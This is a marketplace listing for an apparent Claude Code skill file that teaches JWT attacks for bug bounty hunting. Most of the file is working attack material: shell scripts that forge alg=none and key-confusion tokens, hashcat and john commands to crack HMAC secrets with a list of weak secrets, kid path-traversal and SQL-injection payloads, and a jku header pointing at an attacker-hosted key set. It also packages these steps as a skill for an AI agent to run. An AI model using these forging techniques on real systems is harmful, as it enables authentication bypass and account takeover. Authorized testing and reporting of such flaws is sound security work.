agentsclimarketplace

19 jwt attacks

Skill 0xGhostCAT/claude-ai-cyber-security-skills/skills/19-jwt-attacks

30 Claude Code Skills + 60+ integrated tools for HackerOne/Bugcrowd bug bounty hunters

Install
npx -y skills add 0xGhostCAT/claude-ai-cyber-security-skills --skill 19-jwt-attacks

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.

What its author says it does

Copied from the file, not written here

Hunt JSON Web Token (JWT) vulnerabilities — alg=none bypass, RS256→HS256 key confusion, weak HMAC secret cracking, kid path traversal, JWKS injection, jku/x5u header attacks, embedded JWK confusion, expired-token acceptance, claim mutability, and token replay. Use when an app uses JWT for authentication or stateless sessions.

SKILL.md

10.2 KB, as published. Nobody here has run it

JWT Attacks

Bearer token = signed JSON. Signing wrong = pwned.

When to invoke

Trigger phrases:

  • "JWT bypass"
  • "alg=none"
  • "JWT key confusion"
  • "token attack"
  • "Bearer token"

JWT primer

header.payload.signature
└──┬──┘ └───┬───┘ └───┬───┘
   │       │         │
   │       │         └── HMAC or RS/ES signature over base64url(header) + "." + base64url(payload)
   │       └── base64url-encoded JSON: claims (sub, exp, role, etc.)
   └── base64url-encoded JSON: algorithm + key info

Standard header:

{"alg":"HS256","typ":"JWT"}

Standard payload:

{"sub":"[email protected]","role":"user","exp":1717267200}

The 10 JWT attack patterns

Attack 1: alg=none

The "none" algorithm explicitly means no signature. Some libs accept it.

# Original token
ORIG="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIn0.SIGNATURE"

# Modified
HDR=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD=$(echo -n '{"sub":"admin","role":"admin"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR.$PLD."   # No signature, but valid format

Try variants:

  • alg: "none" ← classic
  • alg: "None" ← capitalization
  • alg: "NONE"
  • alg: "nOnE"
  • alg: ""

Attack 2: RS256 → HS256 key confusion

If server uses RS256 (public/private), and accepts HS256 (symmetric), you can sign with the public key as the HMAC secret.

# Get the public key (often at /.well-known/jwks.json or /jwks)
curl https://target.com/.well-known/jwks.json
# Or embedded in pages, or sometimes published

# Convert JWK to PEM
# Or simply find the cert/pubkey

PUBKEY=public.pem

# Forge HS256 JWT using public key as secret
# Use jwt_tool:
python3 jwt_tool.py "$ORIG_TOKEN" -X k -pk "$PUBKEY"

# Or manually:
HDR=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD=$(echo -n '{"sub":"admin","role":"admin"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PUBKEY_CONTENT=$(cat "$PUBKEY")
SIG=$(echo -n "$HDR.$PLD" | openssl dgst -sha256 -mac HMAC -macopt "key:$PUBKEY_CONTENT" -binary | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR.$PLD.$SIG"

Attack 3: Weak HMAC secret (crack it)

If HS256 with a weak secret like "secret" or "1234":

# jwtcat (fast)
jwtcat "$JWT_TOKEN" -w ~/tools/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

# hashcat (faster)
echo "$JWT_TOKEN" > hash.txt
hashcat -m 16500 hash.txt ~/tools/SecLists/Passwords/rockyou.txt

# John
john --format=HMAC-SHA256 --wordlist=rockyou.txt hash.txt

Common weak secrets to try first:

secret
1234
admin
password
JWT_SECRET
your-256-bit-secret
my-very-secret-key
SECRET_KEY
test
key
abcdefg
HelloWorld
mysecret
JWT

Attack 4: kid (key ID) path traversal

kid tells the server which key to use. If it's read from filesystem:

{"alg":"HS256","kid":"../../../../../../dev/null","typ":"JWT"}

Server reads /dev/null → empty file → HMAC key is empty → forge token with empty key:

HDR='{"alg":"HS256","kid":"../../../../../dev/null","typ":"JWT"}'
PLD='{"sub":"admin"}'
HDR_B64=$(echo -n "$HDR" | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD_B64=$(echo -n "$PLD" | base64 -w 0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$HDR_B64.$PLD_B64" | openssl dgst -sha256 -mac HMAC -macopt "key:" -binary | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR_B64.$PLD_B64.$SIG"

Attack 5: kid SQL injection

If kid is fed into a SQL query for key lookup:

{"alg":"HS256","kid":"x' UNION SELECT 'attacker-secret","typ":"JWT"}

Then forge with secret attacker-secret.

Attack 6: jku / x5u header

jku and x5u point to a URL with the JWKS / certificate. If not validated against an allowlist:

{
  "alg":"RS256",
  "typ":"JWT",
  "jku":"https://attacker.com/jwks.json"
}

Server fetches https://attacker.com/jwks.json → uses your public key → you sign with your private key → server trusts.

Set up the JWKS on attacker.com:

{
  "keys": [{
    "kty":"RSA",
    "kid":"my-key-id",
    "n":"...",
    "e":"AQAB"
  }]
}

Attack 7: Embedded JWK (jwk header)

If jwk header is in the JWT, server might use it as the verification key:

{
  "alg":"RS256",
  "typ":"JWT",
  "jwk":{
    "kty":"RSA",
    "kid":"abc",
    "n":"<YOUR_PUBLIC_N>",
    "e":"AQAB"
  }
}

Same as jku attack but inline.

Attack 8: Expired token reuse

Some implementations don't check exp:

# Take an expired token (yesterday's session)
# Send it → if accepted, bug

# Or modify `exp` to past, then sign with cracked secret

Attack 9: Claim mutability without re-sign verification

Some apps decode JWT but don't verify signature for certain endpoints:

# Modify payload claims (without re-signing)
# Decode → change "role": "user" → "role": "admin" → re-encode → send

# Some apps "trust client" for non-critical paths but pull role from JWT for auth checks

Attack 10: JWT in URL (logged → leaked)

If JWT is passed as URL parameter (?token=...):

  • Tokens logged in proxy logs
  • Tokens in Referer headers to 3rd parties
  • Tokens in browser history

Report as info disclosure + chain.

Step-by-Step Workflow

1. Capture JWTs from the app

Login flow → look in:

  • Authorization: Bearer ... header
  • Cookie: jwt=... or similar
  • URL parameters (?token=)
  • LocalStorage (via browser devtools)
  • WebSocket connection upgrade headers

2. Decode (use jwt.io or CLI)

# Quick decode
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null

Or:

# jwt_tool
python3 jwt_tool.py "$JWT"

Note:

  • alg value
  • Claims: sub, role, email, iat, exp, iss, aud, tenant_id, etc.
  • Custom headers (kid, jku, x5u, jwk)

3. Identify mutable claims

For each claim, try changing it (with re-signed token if needed):

  • role: "user""admin" / "superadmin" / "root"
  • email: "[email protected]""[email protected]" (if email used for auth)
  • tenant_id: 1 → other tenant IDs (cross-tenant)
  • is_admin: falsetrue
  • permissions: ["read"]["*"] / ["admin"]

4. Try alg=none

Send modified token with alg: "none". If accepted → critical.

5. Test for weak HMAC

jwtcat "$JWT" -w wordlist.txt

6. Try kid path traversal

python3 jwt_tool.py "$JWT" -X i  # injection mode

7. Use jwt_tool comprehensive

# All-tests mode (runs every attack)
python3 jwt_tool.py "$JWT" -M at

# Specific attack
python3 jwt_tool.py "$JWT" -X k -pk public.pem    # key confusion
python3 jwt_tool.py "$JWT" -X a                   # alg=none
python3 jwt_tool.py "$JWT" -X i                   # injection
python3 jwt_tool.py "$JWT" -X k -jw key.jwk       # JWK

8. Use Burp extension (JSON Web Tokens)

Burp BApp Store → install "JSON Web Tokens" (or "JWT Editor"). Auto-decodes and re-signs.

Output template

## Critical: Authentication bypass via JWT alg=none

### Summary
The JWT validator on api.target.com accepts tokens with `alg: "none"`. By stripping the signature, any attacker can forge a token for any user, including administrators.

### Steps to reproduce
1. Capture a valid JWT from a normal login:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MTc1NTQwMDB9.SIGNATURE

2. Decode payload, change `sub` to `[email protected]` and `role` to `admin`
3. Create forged token with `alg: "none"`:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbkB0YXJnZXQuY29tIiwicm9sZSI6ImFkbWluIiwiZXhwIjoyMDAwMDAwMDAwfQ.

(Note trailing `.` — empty signature)
4. Send to admin endpoint:
```http
GET /api/v3/admin/users HTTP/1.1
Host: api.target.com
Authorization: Bearer <forged-token>
  1. Response: 200 OK with full admin user list

Impact

  • Full administrative access without credentials
  • Any user can become any other user, including admins
  • Bypass of all role-based access controls

Suggested fix

  • Reject any JWT with alg: "none"
  • Use a strict allowlist of algorithms (HS256 or RS256 only, never both interchangeably)
  • Use a well-tested JWT library (jose, jjwt) with proper defaults

## Cross-references

- `[[auth-bypass]]` — JWT is one of many auth bypass paths
- `[[ato-chains]]` — JWT manipulation often = ATO
- `[[js-analysis]]` — JS bundles may leak JWT signing keys or test JWTs

## Common pitfalls

1. **Modifying claims without re-signing.** Most libs verify signature → modification rejected. You must crack/forge.
2. **Reporting "JWT in URL" alone.** Need impact chain.
3. **Trusting decoded payload as "secret".** JWT is signed, not encrypted. Anyone can decode.
4. **Testing alg=none on a single endpoint.** Often only specific endpoints have weak validation.
5. **Forgetting `exp` check.** Some test tokens succeed because `exp` happens to be valid.

## Quick JWT triage checklist

[ ] alg = none → critical [ ] HS256 cracked secret → critical [ ] RS256 → HS256 confusion → critical [ ] kid path traversal → critical [ ] jku not validated → critical [ ] embedded jwk → critical [ ] exp not validated → high (replay) [ ] iss not validated → medium (depends on impact) [ ] aud not validated → medium (cross-app reuse) [ ] role mutable + no re-sign check → critical


## Severity guide

| Finding | Severity |
|---|---|
| alg=none accepted | Critical |
| HS256 with crackable secret (< 8 chars) | Critical |
| Key confusion (RS→HS) | Critical |
| kid injection (path traversal / SQLi) | Critical |
| jku/x5u not validated | Critical |
| exp not enforced + replayable token | High |
| Token leaked via URL/log | Medium-High |
| JWT in non-HttpOnly cookie | Medium (combined with XSS = high) |

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.